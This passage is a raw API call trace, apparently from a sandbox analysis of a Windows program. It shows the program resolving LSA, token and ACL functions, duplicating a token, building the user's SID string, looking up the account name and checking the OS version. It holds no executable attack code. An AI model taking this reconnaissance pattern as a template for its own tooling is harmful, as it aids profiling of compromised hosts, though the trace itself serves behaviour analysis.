0x7fefe7b0000 [0138.263] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0138.263] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0138.264] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0138.264] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0138.264] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0138.264] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0138.264] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0138.264] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0138.264] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0138.265] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0138.265] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0138.265] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0138.265] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0138.265] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0138.265] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0138.265] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0138.266] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0138.266] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0138.266] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0138.266] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0138.266] malloc (_Size=0x18) returned 0x2af0e0 [0138.266] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0138.266] malloc (_Size=0x48) returned 0x2ad220 [0138.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x21536640, dwHighDateTime=0x1d8a92a)) [0138.266] SetEvent (hEvent=0x1f0) returned 1 [0138.271] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0138.271] GetLastError () returned 0x7a [0138.271] malloc (_Size=0x2c) returned 0x2ae2a0 [0138.271] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0138.271] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0138.271] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0138.271] malloc (_Size=0x1c) returned 0x2affa0 [0138.271] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0138.271] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0138.271] malloc (_Size=0x18) returned 0x2aefa0 [0138.271] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0138.271] malloc (_Size=0x18) returned 0x2aef80 [0138.271] malloc (_Size=0x18) returned 0x2af0c0 [0138.271] SysStringLen (param_1="S-1-") returned 0x4 [0138.271] SysStringLen (param_1="5") returned 0x1 [0138.271] memcpy (in: _Dst=0x161a38, _Src=0x139898, _Size=0xa | out: _Dst=0x161a38) returned 0x161a38 [0138.271] memcpy (in: _Dst=0x161a40, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x161a40) returned 0x161a40 [0138.271] free (_Block=0x2aefa0) [0138.272] free (_Block=0x2aef80) [0138.272] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0138.272] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0138.272] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0138.272] malloc (_Size=0x18) returned 0x2aef80 [0138.272] malloc (_Size=0x18) returned 0x2aefa0 [0138.272] SysStringLen (param_1="S-1-5") returned 0x5 [0138.272] SysStringLen (param_1="-") returned 0x1 [0138.272] memcpy (in: _Dst=0x1395c8, _Src=0x161a38, _Size=0xc | out: _Dst=0x1395c8) returned 0x1395c8 [0138.272] memcpy (in: _Dst=0x1395d2, _Src=0x139898, _Size=0x4 | out: _Dst=0x1395d2) returned 0x1395d2 [0138.272] free (_Block=0x2af0c0) [0138.272] free (_Block=0x2aef80) [0138.272] malloc (_Size=0x18) returned 0x2aef80 [0138.272] malloc (_Size=0x18) returned 0x2af0c0 [0138.272] SysStringLen (param_1="S-1-5-") returned 0x6 [0138.272] SysStringLen (param_1="21") returned 0x2 [0138.272] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0xe | out: _Dst=0x139898) returned 0x139898 [0138.272] memcpy (in: _Dst=0x1398a4, _Src=0x161a38, _Size=0x6 | out: _Dst=0x1398a4) returned 0x1398a4 [0138.272] free (_Block=0x2aefa0) [0138.272] free (_Block=0x2aef80) [0138.272] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0138.272] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0138.273] malloc (_Size=0x18) returned 0x2aef80 [0138.273] malloc (_Size=0x18) returned 0x2aefa0 [0138.273] SysStringLen (param_1="S-1-5-21") returned 0x8 [0138.273] SysStringLen (param_1="-") returned 0x1 [0138.273] memcpy (in: _Dst=0x161a38, _Src=0x139898, _Size=0x12 | out: _Dst=0x161a38) returned 0x161a38 [0138.273] memcpy (in: _Dst=0x161a48, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x161a48) returned 0x161a48 [0138.273] free (_Block=0x2af0c0) [0138.273] free (_Block=0x2aef80) [0138.273] malloc (_Size=0x18) returned 0x2aef80 [0138.273] malloc (_Size=0x18) returned 0x2af0c0 [0138.273] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0138.273] SysStringLen (param_1="4219442223") returned 0xa [0138.273] memcpy (in: _Dst=0x1175e8, _Src=0x161a38, _Size=0x14 | out: _Dst=0x1175e8) returned 0x1175e8 [0138.273] memcpy (in: _Dst=0x1175fa, _Src=0x139898, _Size=0x16 | out: _Dst=0x1175fa) returned 0x1175fa [0138.273] free (_Block=0x2aefa0) [0138.273] free (_Block=0x2aef80) [0138.273] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0138.273] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0138.273] malloc (_Size=0x18) returned 0x2aef80 [0138.273] malloc (_Size=0x18) returned 0x2aefa0 [0138.273] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0138.273] SysStringLen (param_1="-") returned 0x1 [0138.273] memcpy (in: _Dst=0x118268, _Src=0x1175e8, _Size=0x28 | out: _Dst=0x118268) returned 0x118268 [0138.274] memcpy (in: _Dst=0x11828e, _Src=0x161a38, _Size=0x4 | out: _Dst=0x11828e) returned 0x11828e [0138.274] free (_Block=0x2af0c0) [0138.274] free (_Block=0x2aef80) [0138.274] malloc (_Size=0x18) returned 0x2aef80 [0138.274] malloc (_Size=0x18) returned 0x2af0c0 [0138.274] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0138.274] SysStringLen (param_1="4223814209") returned 0xa [0138.274] memcpy (in: _Dst=0x107588, _Src=0x118268, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0138.274] memcpy (in: _Dst=0x1075b0, _Src=0x161a38, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0138.274] free (_Block=0x2aefa0) [0138.274] free (_Block=0x2aef80) [0138.274] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0138.274] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0138.274] malloc (_Size=0x18) returned 0x2aef80 [0138.274] malloc (_Size=0x18) returned 0x2aefa0 [0138.274] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0138.274] SysStringLen (param_1="-") returned 0x1 [0138.274] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0138.274] memcpy (in: _Dst=0x12d954, _Src=0x161a38, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0138.274] free (_Block=0x2af0c0) [0138.274] free (_Block=0x2aef80) [0138.274] malloc (_Size=0x18) returned 0x2aef80 [0138.275] malloc (_Size=0x18) returned 0x2af0c0 [0138.275] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0138.275] SysStringLen (param_1="3835049652") returned 0xa [0138.275] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0138.275] memcpy (in: _Dst=0x1075c6, _Src=0x161a38, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0138.275] free (_Block=0x2aefa0) [0138.275] free (_Block=0x2aef80) [0138.275] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0138.275] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0138.275] malloc (_Size=0x18) returned 0x2aef80 [0138.275] malloc (_Size=0x18) returned 0x2aefa0 [0138.275] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0138.275] SysStringLen (param_1="-") returned 0x1 [0138.275] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0138.275] memcpy (in: _Dst=0x12d96a, _Src=0x161a38, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0138.275] free (_Block=0x2af0c0) [0138.275] free (_Block=0x2aef80) [0138.275] malloc (_Size=0x18) returned 0x2aef80 [0138.275] malloc (_Size=0x18) returned 0x2af0c0 [0138.275] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0138.275] SysStringLen (param_1="1000") returned 0x4 [0138.275] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0138.276] memcpy (in: _Dst=0x1075dc, _Src=0x161a38, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0138.276] free (_Block=0x2aefa0) [0138.276] free (_Block=0x2aef80) [0138.276] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0138.276] malloc (_Size=0x5e) returned 0x2b08a0 [0138.276] free (_Block=0x2af0c0) [0138.276] malloc (_Size=0x18) returned 0x2af0c0 [0138.276] free (_Block=0x2b08a0) [0138.276] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0138.277] GetLastError () returned 0x7a [0138.277] malloc (_Size=0x14) returned 0x2aef80 [0138.277] malloc (_Size=0x16) returned 0x2aefa0 [0138.277] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aef80, cchName=0xe7ca84, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0138.278] malloc (_Size=0x18) returned 0x2aefc0 [0138.278] malloc (_Size=0x18) returned 0x2af000 [0138.278] free (_Block=0x2aef80) [0138.278] free (_Block=0x2aefa0) [0138.278] free (_Block=0x2affa0) [0138.278] free (_Block=0x2af000) [0138.278] free (_Block=0x2aefc0) [0138.278] free (_Block=0x2af0c0) [0138.279] free (_Block=0x2ae2a0) [0138.279] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0138.279] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0138.279] GetLastError () returned 0x7a [0138.279] malloc (_Size=0x2c) returned 0x2ae2e0 [0138.279] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0138.279] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0138.279] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0138.279] malloc (_Size=0x1c) returned 0x2affa0 [0138.279] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0138.279] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0138.279] malloc (_Size=0x18) returned 0x2af0c0 [0138.280] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0138.280] malloc (_Size=0x18) returned 0x2aefc0 [0138.280] malloc (_Size=0x18) returned 0x2af000 [0138.280] SysStringLen (param_1="S-1-") returned 0x4 [0138.280] SysStringLen (param_1="5") returned 0x1 [0138.280] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0xa | out: _Dst=0x139898) returned 0x139898 [0138.280] memcpy (in: _Dst=0x1398a0, _Src=0x161a38, _Size=0x4 | out: _Dst=0x1398a0) returned 0x1398a0 [0138.280] free (_Block=0x2af0c0) [0138.280] free (_Block=0x2aefc0) [0138.280] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0138.280] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0138.280] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0138.280] malloc (_Size=0x18) returned 0x2aefc0 [0138.280] malloc (_Size=0x18) returned 0x2af0c0 [0138.280] SysStringLen (param_1="S-1-5") returned 0x5 [0138.280] SysStringLen (param_1="-") returned 0x1 [0138.280] memcpy (in: _Dst=0x161a38, _Src=0x139898, _Size=0xc | out: _Dst=0x161a38) returned 0x161a38 [0138.280] memcpy (in: _Dst=0x161a42, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x161a42) returned 0x161a42 [0138.280] free (_Block=0x2af000) [0138.280] free (_Block=0x2aefc0) [0138.280] malloc (_Size=0x18) returned 0x2aefc0 [0138.280] malloc (_Size=0x18) returned 0x2af000 [0138.281] SysStringLen (param_1="S-1-5-") returned 0x6 [0138.281] SysStringLen (param_1="21") returned 0x2 [0138.281] memcpy (in: _Dst=0x1395c8, _Src=0x161a38, _Size=0xe | out: _Dst=0x1395c8) returned 0x1395c8 [0138.281] memcpy (in: _Dst=0x1395d4, _Src=0x139898, _Size=0x6 | out: _Dst=0x1395d4) returned 0x1395d4 [0138.281] free (_Block=0x2af0c0) [0138.281] free (_Block=0x2aefc0) [0138.281] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0138.281] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0138.281] malloc (_Size=0x18) returned 0x2aefc0 [0138.281] malloc (_Size=0x18) returned 0x2af0c0 [0138.281] SysStringLen (param_1="S-1-5-21") returned 0x8 [0138.281] SysStringLen (param_1="-") returned 0x1 [0138.281] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0x12 | out: _Dst=0x139898) returned 0x139898 [0138.281] memcpy (in: _Dst=0x1398a8, _Src=0x161a38, _Size=0x4 | out: _Dst=0x1398a8) returned 0x1398a8 [0138.281] free (_Block=0x2af000) [0138.281] free (_Block=0x2aefc0) [0138.281] malloc (_Size=0x18) returned 0x2aefc0 [0138.281] malloc (_Size=0x18) returned 0x2af000 [0138.281] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0138.281] SysStringLen (param_1="4219442223") returned 0xa [0138.281] memcpy (in: _Dst=0x1175e8, _Src=0x139898, _Size=0x14 | out: _Dst=0x1175e8) returned 0x1175e8 [0138.281] memcpy (in: _Dst=0x1175fa, _Src=0x1395c8, _Size=0x16 | out: _Dst=0x1175fa) returned 0x1175fa [0138.282] free (_Block=0x2af0c0) [0138.282] free (_Block=0x2aefc0) [0138.282] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0138.282] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0138.282] malloc (_Size=0x18) returned 0x2aefc0 [0138.282] malloc (_Size=0x18) returned 0x2af0c0 [0138.282] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0138.282] SysStringLen (param_1="-") returned 0x1 [0138.282] memcpy (in: _Dst=0x118268, _Src=0x1175e8, _Size=0x28 | out: _Dst=0x118268) returned 0x118268 [0138.282] memcpy (in: _Dst=0x11828e, _Src=0x139898, _Size=0x4 | out: _Dst=0x11828e) returned 0x11828e [0138.282] free (_Block=0x2af000) [0138.282] free (_Block=0x2aefc0) [0138.282] malloc (_Size=0x18) returned 0x2aefc0 [0138.282] malloc (_Size=0x18) returned 0x2af000 [0138.282] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0138.282] SysStringLen (param_1="4223814209") returned 0xa [0138.282] memcpy (in: _Dst=0x12d918, _Src=0x118268, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0138.282] memcpy (in: _Dst=0x12d940, _Src=0x139898, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0138.282] free (_Block=0x2af0c0) [0138.282] free (_Block=0x2aefc0) [0138.282] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0138.282] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0138.283] malloc (_Size=0x18) returned 0x2aefc0 [0138.283] malloc (_Size=0x18) returned 0x2af0c0 [0138.283] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0138.283] SysStringLen (param_1="-") returned 0x1 [0138.283] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0138.283] memcpy (in: _Dst=0x1075c4, _Src=0x139898, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0138.283] free (_Block=0x2af000) [0138.283] free (_Block=0x2aefc0) [0138.283] malloc (_Size=0x18) returned 0x2aefc0 [0138.283] malloc (_Size=0x18) returned 0x2af000 [0138.283] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0138.283] SysStringLen (param_1="3835049652") returned 0xa [0138.283] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0138.283] memcpy (in: _Dst=0x12d956, _Src=0x139898, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0138.283] free (_Block=0x2af0c0) [0138.283] free (_Block=0x2aefc0) [0138.283] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0138.283] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0138.283] malloc (_Size=0x18) returned 0x2aefc0 [0138.283] malloc (_Size=0x18) returned 0x2af0c0 [0138.283] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0138.283] SysStringLen (param_1="-") returned 0x1 [0138.284] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0138.284] memcpy (in: _Dst=0x1075da, _Src=0x139898, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0138.284] free (_Block=0x2af000) [0138.284] free (_Block=0x2aefc0) [0138.284] malloc (_Size=0x18) returned 0x2aefc0 [0138.284] malloc (_Size=0x18) returned 0x2af000 [0138.284] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0138.284] SysStringLen (param_1="1000") returned 0x4 [0138.284] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0138.284] memcpy (in: _Dst=0x12d96c, _Src=0x139898, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0138.284] free (_Block=0x2af0c0) [0138.284] free (_Block=0x2aefc0) [0138.284] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0138.284] malloc (_Size=0x5e) returned 0x2b08a0 [0138.284] free (_Block=0x2af000) [0138.284] malloc (_Size=0x18) returned 0x2af000 [0138.285] free (_Block=0x2b08a0) [0138.285] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 